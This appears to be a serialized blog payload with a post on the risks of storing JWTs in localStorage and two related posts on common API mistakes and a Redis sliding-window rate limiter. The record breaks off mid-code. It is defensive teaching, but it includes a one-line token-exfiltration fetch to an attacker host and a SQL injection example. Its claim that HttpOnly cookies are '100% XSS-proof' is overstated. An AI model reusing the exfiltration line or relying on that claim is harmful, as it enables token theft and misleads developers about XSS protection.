[{"data":1,"prerenderedAt":1820},["ShallowReactive",2],{"blog-en-jwt-localstorage-security-risks":3,"blog-related-en-jwt-localstorage-security-risks":304},{"id":4,"title":5,"author":6,"body":7,"date":287,"description":288,"extension":289,"featured":290,"image":291,"meta":292,"navigation":293,"path":294,"readingTime":181,"seo":295,"slug":296,"stem":297,"tags":298,"__hash__":303},"blog\u002Fblog\u002Fen\u002Fjwt-localstorage-security-risks.md","Why Storing JWTs in LocalStorage is a Security Risk (and What to Use Instead)","Adam Abdel-Djamal",{"type":8,"value":9,"toc":276},"minimark",[10,14,44,52,59,62,70,76,91,98,113,119,121,136,145,191,196,226,228,232,242,253,257,272],[11,12,13],"p",{},"Search any beginner tutorial on web authentication, and you will almost certainly find this pattern:",[15,16,21],"pre",{"className":17,"code":18,"language":19,"meta":20,"style":20},"language-javascript shiki shiki-themes github-light github-dark","\u002F\u002F ❌ The worst place to store sensitive auth tokens\nconst { token } = await login(email, password)\nlocalStorage.setItem('access_token', token)\n","javascript","",[22,23,24,32,38],"code",{"__ignoreMap":20},[25,26,29],"span",{"class":27,"line":28},"line",1,[25,30,31],{},"\u002F\u002F ❌ The worst place to store sensitive auth tokens\n",[25,33,35],{"class":27,"line":34},2,[25,36,37],{},"const { token } = await login(email, password)\n",[25,39,41],{"class":27,"line":40},3,[25,42,43],{},"localStorage.setItem('access_token', token)\n",[11,45,46,47,51],{},"It is easy to implement. It works across tabs. But it is also a ",[48,49,50],"strong",{},"critical security vulnerability"," that leaves your users completely exposed to Cross-Site Scripting (XSS) attacks.",[11,53,54,55,58],{},"In this article, we'll explain why ",[22,56,57],{},"localStorage"," is unsafe for session tokens and look at the modern, battle-tested alternatives.",[60,61],"hr",{},[63,64,66,67,69],"h2",{"id":65},"_1-why-localstorage-is-vulnerable","1. Why ",[22,68,57],{}," is Vulnerable",[11,71,72,73,75],{},"Any JavaScript code running on your page has unrestricted read access to ",[22,74,57],{},":",[15,77,79],{"className":17,"code":78,"language":19,"meta":20,"style":20},"\u002F\u002F Any malicious script can steal your token in 1 line:\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal?token=' + localStorage.getItem('access_token'))\n",[22,80,81,86],{"__ignoreMap":20},[25,82,83],{"class":27,"line":28},[25,84,85],{},"\u002F\u002F Any malicious script can steal your token in 1 line:\n",[25,87,88],{"class":27,"line":34},[25,89,90],{},"fetch('https:\u002F\u002Fattacker.com\u002Fsteal?token=' + localStorage.getItem('access_token'))\n",[11,92,93,94],{},"You might think: ",[95,96,97],"em",{},"\"I don't write malicious JavaScript in my app!\"",[11,99,100,101,104,105,108,109,112],{},"True. But modern web applications pull in ",[48,102,103],{},"hundreds of npm dependencies",", third-party analytics scripts, chat widgets, and tag managers. If a single compromised npm package or malicious injected ",[22,106,107],{},"\u003Cscript>"," tag executes on your origin, ",[48,110,111],{},"an attacker can silently extract every logged-in user's authentication token",".",[11,114,115,116,118],{},"Worse, ",[22,117,57],{}," has no expiration mechanism. A token stored there persists indefinitely until manually cleared.",[60,120],{},[63,122,124,125,128,129,128,132,135],{"id":123},"_2-the-solution-httponly-secure-samesite-cookies","2. The Solution: ",[22,126,127],{},"HttpOnly",", ",[22,130,131],{},"Secure",[22,133,134],{},"SameSite"," Cookies",[11,137,138,139,144],{},"The only safe storage mechanism for authentication tokens in a browser is an ",[48,140,141,143],{},[22,142,127],{}," cookie"," issued by your backend:",[15,146,150],{"className":147,"code":148,"language":149,"meta":20,"style":20},"language-http shiki shiki-themes github-light github-dark","HTTP\u002F1.1 200 OK\nSet-Cookie: session_token=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855; \n            HttpOnly; \n            Secure; \n            SameSite=Lax; \n            Path=\u002F; \n            Max-Age=604800\n","http",[22,151,152,157,162,167,173,179,185],{"__ignoreMap":20},[25,153,154],{"class":27,"line":28},[25,155,156],{},"HTTP\u002F1.1 200 OK\n",[25,158,159],{"class":27,"line":34},[25,160,161],{},"Set-Cookie: session_token=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855; \n",[25,163,164],{"class":27,"line":40},[25,165,166],{},"            HttpOnly; \n",[25,168,170],{"class":27,"line":169},4,[25,171,172],{},"            Secure; \n",[25,174,176],{"class":27,"line":175},5,[25,177,178],{},"            SameSite=Lax; \n",[25,180,182],{"class":27,"line":181},6,[25,183,184],{},"            Path=\u002F; \n",[25,186,188],{"class":27,"line":187},7,[25,189,190],{},"            Max-Age=604800\n",[192,193,195],"h3",{"id":194},"why-this-is-100-xss-proof","Why This is 100% XSS-Proof:",[197,198,199,211,218],"ul",{},[200,201,202,206,207,210],"li",{},[48,203,204],{},[22,205,127],{},": The browser strictly forbids JavaScript from accessing ",[22,208,209],{},"document.cookie",". Even if an attacker executes an XSS payload on your page, they physically cannot read the cookie.",[200,212,213,217],{},[48,214,215],{},[22,216,131],{},": The browser will only transmit the cookie over encrypted HTTPS connections.",[200,219,220,225],{},[48,221,222],{},[22,223,224],{},"SameSite=Lax",": The browser blocks third-party origins from sending the cookie on cross-site requests, protecting against CSRF attacks.",[60,227],{},[63,229,231],{"id":230},"_3-what-about-single-page-apps-spas-on-separate-domains","3. What About Single-Page Apps (SPAs) on Separate Domains?",[11,233,234,235,238,239,75],{},"If your frontend is hosted on ",[22,236,237],{},"app.mysaas.com"," and your API is on ",[22,240,241],{},"api.mysaas.com",[197,243,244,250],{},[200,245,246,247,112],{},"Set the cookie domain to the parent domain: ",[22,248,249],{},"Domain=.mysaas.com",[200,251,252],{},"Both subdomains can securely share the authentication cookie without exposing tokens to client-side storage.",[192,254,256],{"id":255},"takeaway","Takeaway",[11,258,259,260,262,263,266,267,271],{},"Never store sensitive bearer tokens, refresh tokens, or API credentials in ",[22,261,57],{}," or ",[22,264,265],{},"sessionStorage",". Always delegate session security to the browser's native ",[48,268,269,143],{},[22,270,127],{}," mechanism.",[273,274,275],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":20,"searchDepth":34,"depth":34,"links":277},[278,280,284],{"id":65,"depth":34,"text":279},"1. Why localStorage is Vulnerable",{"id":123,"depth":34,"text":281,"children":282},"2. The Solution: HttpOnly, Secure, SameSite Cookies",[283],{"id":194,"depth":40,"text":195},{"id":230,"depth":34,"text":231,"children":285},[286],{"id":255,"depth":40,"text":256},"2026-09-19","Popular web security topic comparing LocalStorage, in-memory tokens, and HttpOnly SameSite cookies. How to protect your users from XSS token theft.","md",false,null,{},true,"\u002Fblog\u002Fen\u002Fjwt-localstorage-security-risks",{"title":5,"description":288},"jwt-localstorage-security-risks","blog\u002Fen\u002Fjwt-localstorage-security-risks",[299,300,19,301,302],"security","auth","web-security","frontend","bP9p0S4GQ8UzZbPbsOzOeQK0NSEeawgeDXagxqaUI0A",[305,1153],{"id":306,"title":307,"author":6,"body":308,"date":1141,"description":1142,"extension":289,"featured":290,"image":291,"meta":1143,"navigation":293,"path":1144,"readingTime":181,"seo":1145,"slug":291,"stem":1146,"tags":1147,"__hash__":1152},"blog\u002Fblog\u002Fen\u002Fapi-common-mistakes.md","6 Common API Mistakes (And How to Fix Them)",{"type":8,"value":309,"toc":1132},[310,313,315,319,330,360,381,383,387,394,486,491,611,613,617,620,680,683,685,689,692,830,837,839,843,846,1024,1027,1029,1033,1036,1070,1077,1079,1083,1086,1129],[11,311,312],{},"Building an API feels straightforward until your first production incident. Most bugs aren't complex — they're the same six mistakes repeated across thousands of codebases. Here's what they are and how to stop making them.",[60,314],{},[63,316,318],{"id":317},"_1-using-the-wrong-http-method","1. Using the Wrong HTTP Method",[11,320,321,322,325,326,329],{},"The most visible mistake. Using ",[22,323,324],{},"GET"," to delete a resource, or ",[22,327,328],{},"POST"," for everything because \"it works.\"",[15,331,333],{"className":147,"code":332,"language":149,"meta":20,"style":20},"# ❌ Deleting with GET — catastrophic if a browser prefetches this URL\nGET \u002Fapi\u002Fusers\u002F42\u002Fdelete\n\n# ✅ Correct\nDELETE \u002Fapi\u002Fusers\u002F42\n",[22,334,335,340,345,350,355],{"__ignoreMap":20},[25,336,337],{"class":27,"line":28},[25,338,339],{},"# ❌ Deleting with GET — catastrophic if a browser prefetches this URL\n",[25,341,342],{"class":27,"line":34},[25,343,344],{},"GET \u002Fapi\u002Fusers\u002F42\u002Fdelete\n",[25,346,347],{"class":27,"line":40},[25,348,349],{"emptyLinePlaceholder":293},"\n",[25,351,352],{"class":27,"line":169},[25,353,354],{},"# ✅ Correct\n",[25,356,357],{"class":27,"line":175},[25,358,359],{},"DELETE \u002Fapi\u002Fusers\u002F42\n",[11,361,362,363,365,366,368,369,372,373,376,377,380],{},"HTTP methods carry semantic meaning that clients, proxies, and caches rely on. ",[22,364,324],{}," must be idempotent and safe (no side effects). ",[22,367,328],{}," creates. ",[22,370,371],{},"PUT","\u002F",[22,374,375],{},"PATCH"," update. ",[22,378,379],{},"DELETE"," removes. Violating these conventions breaks caching, browser history, and every HTTP client that follows the spec.",[60,382],{},[63,384,386],{"id":385},"_2-wrong-status-codes","2. Wrong Status Codes",[11,388,389,390,393],{},"Returning ",[22,391,392],{},"200 OK"," for an error response is the most common mistake in junior APIs.",[15,395,399],{"className":396,"code":397,"language":398,"meta":20,"style":20},"language-json shiki shiki-themes github-light github-dark","\u002F\u002F ❌ Status 200, but it's an error\n{\n  \"success\": false,\n  \"error\": \"User not found\"\n}\n\n\u002F\u002F ✅ Status 404 — the client knows immediately without parsing the body\n{\n  \"error\": \"User not found\",\n  \"code\": \"USER_NOT_FOUND\"\n}\n","json",[22,400,401,407,413,428,439,444,448,453,458,470,481],{"__ignoreMap":20},[25,402,403],{"class":27,"line":28},[25,404,406],{"class":405},"sJ8bj","\u002F\u002F ❌ Status 200, but it's an error\n",[25,408,409],{"class":27,"line":34},[25,410,412],{"class":411},"sVt8B","{\n",[25,414,415,419,422,425],{"class":27,"line":40},[25,416,418],{"class":417},"sj4cs","  \"success\"",[25,420,421],{"class":411},": ",[25,423,424],{"class":417},"false",[25,426,427],{"class":411},",\n",[25,429,430,433,435],{"class":27,"line":169},[25,431,432],{"class":417},"  \"error\"",[25,434,421],{"class":411},[25,436,438],{"class":437},"sZZnC","\"User not found\"\n",[25,440,441],{"class":27,"line":175},[25,442,443],{"class":411},"}\n",[25,445,446],{"class":27,"line":181},[25,447,349],{"emptyLinePlaceholder":293},[25,449,450],{"class":27,"line":187},[25,451,452],{"class":405},"\u002F\u002F ✅ Status 404 — the client knows immediately without parsing the body\n",[25,454,456],{"class":27,"line":455},8,[25,457,412],{"class":411},[25,459,461,463,465,468],{"class":27,"line":460},9,[25,462,432],{"class":417},[25,464,421],{"class":411},[25,466,467],{"class":437},"\"User not found\"",[25,469,427],{"class":411},[25,471,473,476,478],{"class":27,"line":472},10,[25,474,475],{"class":417},"  \"code\"",[25,477,421],{"class":411},[25,479,480],{"class":437},"\"USER_NOT_FOUND\"\n",[25,482,484],{"class":27,"line":483},11,[25,485,443],{"class":411},[11,487,488],{},[48,489,490],{},"The codes that matter most:",[492,493,494,507],"table",{},[495,496,497],"thead",{},[498,499,500,504],"tr",{},[501,502,503],"th",{},"Code",[501,505,506],{},"When to use it",[508,509,510,521,531,541,551,561,571,581,591,601],"tbody",{},[498,511,512,518],{},[513,514,515],"td",{},[22,516,517],{},"200",[513,519,520],{},"Success with a body",[498,522,523,528],{},[513,524,525],{},[22,526,527],{},"201",[513,529,530],{},"Resource created (POST)",[498,532,533,538],{},[513,534,535],{},[22,536,537],{},"204",[513,539,540],{},"Success, no body (DELETE)",[498,542,543,548],{},[513,544,545],{},[22,546,547],{},"400",[513,549,550],{},"Invalid input from the client",[498,552,553,558],{},[513,554,555],{},[22,556,557],{},"401",[513,559,560],{},"Not authenticated",[498,562,563,568],{},[513,564,565],{},[22,566,567],{},"403",[513,569,570],{},"Authenticated but not authorized",[498,572,573,578],{},[513,574,575],{},[22,576,577],{},"404",[513,579,580],{},"Resource doesn't exist",[498,582,583,588],{},[513,584,585],{},[22,586,587],{},"422",[513,589,590],{},"Input syntactically valid but semantically wrong",[498,592,593,598],{},[513,594,595],{},[22,596,597],{},"429",[513,599,600],{},"Rate limit exceeded",[498,602,603,608],{},[513,604,605],{},[22,606,607],{},"500",[513,609,610],{},"Server error (never the client's fault)",[60,612],{},[63,614,616],{"id":615},"_3-trusting-client-input","3. Trusting Client Input",[11,618,619],{},"Every value sent by a client is a potential attack vector.",[15,621,625],{"className":622,"code":623,"language":624,"meta":20,"style":20},"language-php shiki shiki-themes github-light github-dark","\u002F\u002F ❌ Never do this\n$id = $_GET['id'];\n$query = \"SELECT * FROM users WHERE id = $id\";\n\u002F\u002F SQL injection: ?id=1 OR 1=1\n\n\u002F\u002F ✅ Always validate and sanitize\n$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);\nif (!$id) {\n    return response()->json(['error' => 'Invalid ID'], 400);\n}\n$user = User::findOrFail($id); \u002F\u002F parameterized query\n","php",[22,626,627,632,637,642,647,651,656,661,666,671,675],{"__ignoreMap":20},[25,628,629],{"class":27,"line":28},[25,630,631],{},"\u002F\u002F ❌ Never do this\n",[25,633,634],{"class":27,"line":34},[25,635,636],{},"$id = $_GET['id'];\n",[25,638,639],{"class":27,"line":40},[25,640,641],{},"$query = \"SELECT * FROM users WHERE id = $id\";\n",[25,643,644],{"class":27,"line":169},[25,645,646],{},"\u002F\u002F SQL injection: ?id=1 OR 1=1\n",[25,648,649],{"class":27,"line":175},[25,650,349],{"emptyLinePlaceholder":293},[25,652,653],{"class":27,"line":181},[25,654,655],{},"\u002F\u002F ✅ Always validate and sanitize\n",[25,657,658],{"class":27,"line":187},[25,659,660],{},"$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);\n",[25,662,663],{"class":27,"line":455},[25,664,665],{},"if (!$id) {\n",[25,667,668],{"class":27,"line":460},[25,669,670],{},"    return response()->json(['error' => 'Invalid ID'], 400);\n",[25,672,673],{"class":27,"line":472},[25,674,443],{},[25,676,677],{"class":27,"line":483},[25,678,679],{},"$user = User::findOrFail($id); \u002F\u002F parameterized query\n",[11,681,682],{},"Validate: type, format, length, range. Sanitize before any database or filesystem operation. Never trust what arrives in the request body, headers, or query string.",[60,684],{},[63,686,688],{"id":687},"_4-leaking-sensitive-data","4. Leaking Sensitive Data",[11,690,691],{},"Returning the full database object without filtering is an invitation to a data breach.",[15,693,695],{"className":396,"code":694,"language":398,"meta":20,"style":20},"\u002F\u002F ❌ Returning the raw User model\n{\n  \"id\": 42,\n  \"email\": \"user@example.com\",\n  \"password\": \"$2b$12$...\",\n  \"stripe_customer_id\": \"cus_xxx\",\n  \"internal_notes\": \"flagged for review\",\n  \"created_at\": \"2024-01-01\"\n}\n\n\u002F\u002F ✅ Return only what the client actually needs\n{\n  \"id\": 42,\n  \"email\": \"user@example.com\",\n  \"created_at\": \"2024-01-01\"\n}\n",[22,696,697,702,706,718,730,742,754,766,776,780,784,789,794,805,816,825],{"__ignoreMap":20},[25,698,699],{"class":27,"line":28},[25,700,701],{"class":405},"\u002F\u002F ❌ Returning the raw User model\n",[25,703,704],{"class":27,"line":34},[25,705,412],{"class":411},[25,707,708,711,713,716],{"class":27,"line":40},[25,709,710],{"class":417},"  \"id\"",[25,712,421],{"class":411},[25,714,715],{"class":417},"42",[25,717,427],{"class":411},[25,719,720,723,725,728],{"class":27,"line":169},[25,721,722],{"class":417},"  \"email\"",[25,724,421],{"class":411},[25,726,727],{"class":437},"\"user@example.com\"",[25,729,427],{"class":411},[25,731,732,735,737,740],{"class":27,"line":175},[25,733,734],{"class":417},"  \"password\"",[25,736,421],{"class":411},[25,738,739],{"class":437},"\"$2b$12$...\"",[25,741,427],{"class":411},[25,743,744,747,749,752],{"class":27,"line":181},[25,745,746],{"class":417},"  \"stripe_customer_id\"",[25,748,421],{"class":411},[25,750,751],{"class":437},"\"cus_xxx\"",[25,753,427],{"class":411},[25,755,756,759,761,764],{"class":27,"line":187},[25,757,758],{"class":417},"  \"internal_notes\"",[25,760,421],{"class":411},[25,762,763],{"class":437},"\"flagged for review\"",[25,765,427],{"class":411},[25,767,768,771,773],{"class":27,"line":455},[25,769,770],{"class":417},"  \"created_at\"",[25,772,421],{"class":411},[25,774,775],{"class":437},"\"2024-01-01\"\n",[25,777,778],{"class":27,"line":460},[25,779,443],{"class":411},[25,781,782],{"class":27,"line":472},[25,783,349],{"emptyLinePlaceholder":293},[25,785,786],{"class":27,"line":483},[25,787,788],{"class":405},"\u002F\u002F ✅ Return only what the client actually needs\n",[25,790,792],{"class":27,"line":791},12,[25,793,412],{"class":411},[25,795,797,799,801,803],{"class":27,"line":796},13,[25,798,710],{"class":417},[25,800,421],{"class":411},[25,802,715],{"class":417},[25,804,427],{"class":411},[25,806,808,810,812,814],{"class":27,"line":807},14,[25,809,722],{"class":417},[25,811,421],{"class":411},[25,813,727],{"class":437},[25,815,427],{"class":411},[25,817,819,821,823],{"class":27,"line":818},15,[25,820,770],{"class":417},[25,822,421],{"class":411},[25,824,775],{"class":437},[25,826,828],{"class":27,"line":827},16,[25,829,443],{"class":411},[11,831,832,833,836],{},"Use serializers, DTOs, or API Resources (Laravel) to explicitly define what gets exposed. The rule: ",[48,834,835],{},"opt-in, not opt-out."," Start with nothing, add what's needed.",[60,838],{},[63,840,842],{"id":841},"_5-inconsistent-error-format","5. Inconsistent Error Format",[11,844,845],{},"When every endpoint returns errors differently, every client has to handle every format.",[15,847,849],{"className":396,"code":848,"language":398,"meta":20,"style":20},"\u002F\u002F ❌ Endpoint A\n{ \"message\": \"Not found\" }\n\n\u002F\u002F ❌ Endpoint B\n{ \"error\": true, \"msg\": \"Validation failed\", \"fields\": [\"email\"] }\n\n\u002F\u002F ❌ Endpoint C\n\"Internal server error\"\n\n\u002F\u002F ✅ One format, everywhere\n{\n  \"error\": {\n    \"code\": \"VALIDATION_FAILED\",\n    \"message\": \"The request contains invalid fields.\",\n    \"details\": [\n      { \"field\": \"email\", \"issue\": \"Invalid email format\" }\n    ]\n  }\n}\n",[22,850,851,856,872,876,881,917,921,926,931,935,940,944,951,963,975,983,1007,1013,1019],{"__ignoreMap":20},[25,852,853],{"class":27,"line":28},[25,854,855],{"class":405},"\u002F\u002F ❌ Endpoint A\n",[25,857,858,861,864,866,869],{"class":27,"line":34},[25,859,860],{"class":411},"{ ",[25,862,863],{"class":417},"\"message\"",[25,865,421],{"class":411},[25,867,868],{"class":437},"\"Not found\"",[25,870,871],{"class":411}," }\n",[25,873,874],{"class":27,"line":40},[25,875,349],{"emptyLinePlaceholder":293},[25,877,878],{"class":27,"line":169},[25,879,880],{"class":405},"\u002F\u002F ❌ Endpoint B\n",[25,882,883,885,888,890,893,895,898,900,903,905,908,911,914],{"class":27,"line":175},[25,884,860],{"class":411},[25,886,887],{"class":417},"\"error\"",[25,889,421],{"class":411},[25,891,892],{"class":417},"true",[25,894,128],{"class":411},[25,896,897],{"class":417},"\"msg\"",[25,899,421],{"class":411},[25,901,902],{"class":437},"\"Validation failed\"",[25,904,128],{"class":411},[25,906,907],{"class":417},"\"fields\"",[25,909,910],{"class":411},": [",[25,912,913],{"class":437},"\"email\"",[25,915,916],{"class":411},"] }\n",[25,918,919],{"class":27,"line":181},[25,920,349],{"emptyLinePlaceholder":293},[25,922,923],{"class":27,"line":187},[25,924,925],{"class":405},"\u002F\u002F ❌ Endpoint C\n",[25,927,928],{"class":27,"line":455},[25,929,930],{"class":437},"\"Internal server error\"\n",[25,932,933],{"class":27,"line":460},[25,934,349],{"emptyLinePlaceholder":293},[25,936,937],{"class":27,"line":472},[25,938,939],{"class":405},"\u002F\u002F ✅ One format, everywhere\n",[25,941,942],{"class":27,"line":483},[25,943,412],{"class":411},[25,945,946,948],{"class":27,"line":791},[25,947,432],{"class":417},[25,949,950],{"class":411},": {\n",[25,952,953,956,958,961],{"class":27,"line":796},[25,954,955],{"class":417},"    \"code\"",[25,957,421],{"class":411},[25,959,960],{"class":437},"\"VALIDATION_FAILED\"",[25,962,427],{"class":411},[25,964,965,968,970,973],{"class":27,"line":807},[25,966,967],{"class":417},"    \"message\"",[25,969,421],{"class":411},[25,971,972],{"class":437},"\"The request contains invalid fields.\"",[25,974,427],{"class":411},[25,976,977,980],{"class":27,"line":818},[25,978,979],{"class":417},"    \"details\"",[25,981,982],{"class":411},": [\n",[25,984,985,988,991,993,995,997,1000,1002,1005],{"class":27,"line":827},[25,986,987],{"class":411},"      { ",[25,989,990],{"class":417},"\"field\"",[25,992,421],{"class":411},[25,994,913],{"class":437},[25,996,128],{"class":411},[25,998,999],{"class":417},"\"issue\"",[25,1001,421],{"class":411},[25,1003,1004],{"class":437},"\"Invalid email format\"",[25,1006,871],{"class":411},[25,1008,1010],{"class":27,"line":1009},17,[25,1011,1012],{"class":411},"    ]\n",[25,1014,1016],{"class":27,"line":1015},18,[25,1017,1018],{"class":411},"  }\n",[25,1020,1022],{"class":27,"line":1021},19,[25,1023,443],{"class":411},[11,1025,1026],{},"Define your error envelope once. Apply it everywhere via a global exception handler. Clients — including your own frontend — will thank you.",[60,1028],{},[63,1030,1032],{"id":1031},"_6-no-api-versioning","6. No API Versioning",[11,1034,1035],{},"Changing an endpoint response breaks every client using it. Without versioning, you can never evolve the API.",[15,1037,1039],{"className":147,"code":1038,"language":149,"meta":20,"style":20},"# ❌ No version — any breaking change affects all clients immediately\nGET \u002Fapi\u002Fusers\n\n# ✅ Versioned — v1 stays stable, v2 introduces breaking changes safely\nGET \u002Fapi\u002Fv1\u002Fusers\nGET \u002Fapi\u002Fv2\u002Fusers\n",[22,1040,1041,1046,1051,1055,1060,1065],{"__ignoreMap":20},[25,1042,1043],{"class":27,"line":28},[25,1044,1045],{},"# ❌ No version — any breaking change affects all clients immediately\n",[25,1047,1048],{"class":27,"line":34},[25,1049,1050],{},"GET \u002Fapi\u002Fusers\n",[25,1052,1053],{"class":27,"line":40},[25,1054,349],{"emptyLinePlaceholder":293},[25,1056,1057],{"class":27,"line":169},[25,1058,1059],{},"# ✅ Versioned — v1 stays stable, v2 introduces breaking changes safely\n",[25,1061,1062],{"class":27,"line":175},[25,1063,1064],{},"GET \u002Fapi\u002Fv1\u002Fusers\n",[25,1066,1067],{"class":27,"line":181},[25,1068,1069],{},"GET \u002Fapi\u002Fv2\u002Fusers\n",[11,1071,1072,1073,1076],{},"Version from day one, even if you only have v1. The cost of adding ",[22,1074,1075],{},"\u002Fv1\u002F"," later — after clients are in production — is much higher than the cost of including it from the start.",[60,1078],{},[63,1080,1082],{"id":1081},"the-takeaway","The Takeaway",[11,1084,1085],{},"None of these mistakes require advanced knowledge to fix. They require discipline: a checklist before every endpoint ships.",[197,1087,1090,1099,1105,1111,1117,1123],{"className":1088},[1089],"contains-task-list",[200,1091,1094,1098],{"className":1092},[1093],"task-list-item",[1095,1096],"input",{"disabled":293,"type":1097},"checkbox"," HTTP method matches the operation's semantics",[200,1100,1102,1104],{"className":1101},[1093],[1095,1103],{"disabled":293,"type":1097}," Status code is accurate",[200,1106,1108,1110],{"className":1107},[1093],[1095,1109],{"disabled":293,"type":1097}," All input is validated before use",[200,1112,1114,1116],{"className":1113},[1093],[1095,1115],{"disabled":293,"type":1097}," Response only exposes necessary fields",[200,1118,1120,1122],{"className":1119},[1093],[1095,1121],{"disabled":293,"type":1097}," Errors follow the global format",[200,1124,1126,1128],{"className":1125},[1093],[1095,1127],{"disabled":293,"type":1097}," URL includes an API version",[273,1130,1131],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":20,"searchDepth":34,"depth":34,"links":1133},[1134,1135,1136,1137,1138,1139,1140],{"id":317,"depth":34,"text":318},{"id":385,"depth":34,"text":386},{"id":615,"depth":34,"text":616},{"id":687,"depth":34,"text":688},{"id":841,"depth":34,"text":842},{"id":1031,"depth":34,"text":1032},{"id":1081,"depth":34,"text":1082},"2026-06-04","From wrong HTTP methods to leaking sensitive data — the errors most developers make when building their first API, and the concrete fixes.",{},"\u002Fblog\u002Fen\u002Fapi-common-mistakes",{"title":307,"description":1142},"blog\u002Fen\u002Fapi-common-mistakes",[1148,1149,1150,1151],"api","backend","rest","best-practices","z2NMprz3c9WpXKotgDMzEF9WM_LLLolyFqidBZu4I6s",{"id":1154,"title":1155,"author":6,"body":1156,"date":1809,"description":1810,"extension":289,"featured":290,"image":291,"meta":1811,"navigation":293,"path":1812,"readingTime":181,"seo":1813,"slug":1814,"stem":1815,"tags":1816,"__hash__":1819},"blog\u002Fblog\u002Fen\u002Fapi-rate-limiting-redis.md","API Rate Limiting in Practice: Token Bucket vs. Sliding Window with Redis",{"type":8,"value":1157,"toc":1800},[1158,1161,1164,1175,1177,1181,1185,1192,1196,1199,1207,1211,1214,1216,1220,1227,1728,1730,1734,1737,1794,1797],[11,1159,1160],{},"Without API rate limiting, a single rogue script or misconfigured webhook client can fire 10,000 requests per second at your login or checkout endpoint, exhausting your database connection pool and taking your entire application down.",[11,1162,1163],{},"Rate limiting is the first line of defense against bot attacks, credential stuffing, and API resource abuse. But which algorithm should you implement?",[11,1165,1166,1167,1170,1171,1174],{},"In this article, we compare the two industry-standard algorithms — ",[48,1168,1169],{},"Token Bucket"," and ",[48,1172,1173],{},"Sliding Window Log"," — and show how to implement a high-speed sliding window rate limiter in Redis.",[60,1176],{},[63,1178,1180],{"id":1179},"_1-comparing-the-algorithms","1. Comparing the Algorithms",[192,1182,1184],{"id":1183},"a-fixed-window-counter-the-flawed-default","A. Fixed Window Counter (The Flawed Default)",[11,1186,1187,1188,1191],{},"Divides time into fixed buckets (e.g. 10:00 to 10:01). If a user can make 100 requests per minute, they can send 100 requests at 10:00:59, and another 100 requests at 10:01:01. That means ",[48,1189,1190],{},"200 requests in 2 seconds"," — double the intended burst limit!",[192,1193,1195],{"id":1194},"b-token-bucket","B. Token Bucket",[11,1197,1198],{},"A bucket holds a fixed number of tokens (burst capacity). Tokens are continuously replenished at a constant rate. Each incoming request consumes one token.",[197,1200,1201],{},[200,1202,1203,1206],{},[48,1204,1205],{},"Great for",": APIs that want to allow legitimate temporary traffic spikes while capping sustained throughput.",[192,1208,1210],{"id":1209},"c-sliding-window-counter-the-production-standard","C. Sliding Window Counter (The Production Standard)",[11,1212,1213],{},"Combines the low memory usage of fixed windows with the smoothness of a rolling window. It calculates the request rate by weighting the request count of the previous window and the current window.",[60,1215],{},[63,1217,1219],{"id":1218},"_2-sliding-window-rate-limiter-with-redis-sorted-sets","2. Sliding Window Rate Limiter with Redis Sorted Sets",[11,1221,1222,1223,1226],{},"Redis Sorted Sets (",[22,1224,1225],{},"ZSET",") allow us to track requests by timestamp with microsecond accuracy:",[15,1228,1232],{"className":1229,"code":1230,"language":1231,"meta":20,"style":20},"language-typescript shiki shiki-themes github-light github-dark","import Redis from 'ioredis'\n\nconst redis = new Redis(process.env.REDIS_URL!)\n\nexport async function checkRateLimit(identifier: string, limit = 60, windowInSeconds = 60) {\n  const now = Date.now()\n  const windowStart = now - (windowInSeconds * 1000)\n  const key = `ratelimit:${identifier}`\n\n  \u002F\u002F Atomic Redis Pipeline (Runs in a single round-trip)\n  const multi = redis.multi()\n  \u002F\u002F 1. Remove all request timestamps older than the active window\n  multi.zremrangebyscore(key, 0, windowStart)\n  \u002F\u002F 2. Count requests currently in the active window\n  multi.zcard(key)\n  \u002F\u002F 3. Add the current timestamp as a new request\n  multi.zadd(key, now, `${now}-${Math.random()}`)\n  \u002F\u002F 4. Set key expiration to auto-clean idle users\n  multi.expire(key, windowInSeconds)\n\n  const results = await multi.exec()\n  const currentCount = (results?.[1]?.[1] as number) || 0\n\n  if (currentCount >= limit) {\n    return {\n      allowed: false,\n      remaining: 0,\n      retryAfter: Math.ceil(windowInSeconds - ((now - windowStart) \u002F 1000))\n    }\n  }\n\n  return {\n    allowed: true,\n    remaining: limit - currentCount - 1,\n    retryAfter: 0\n  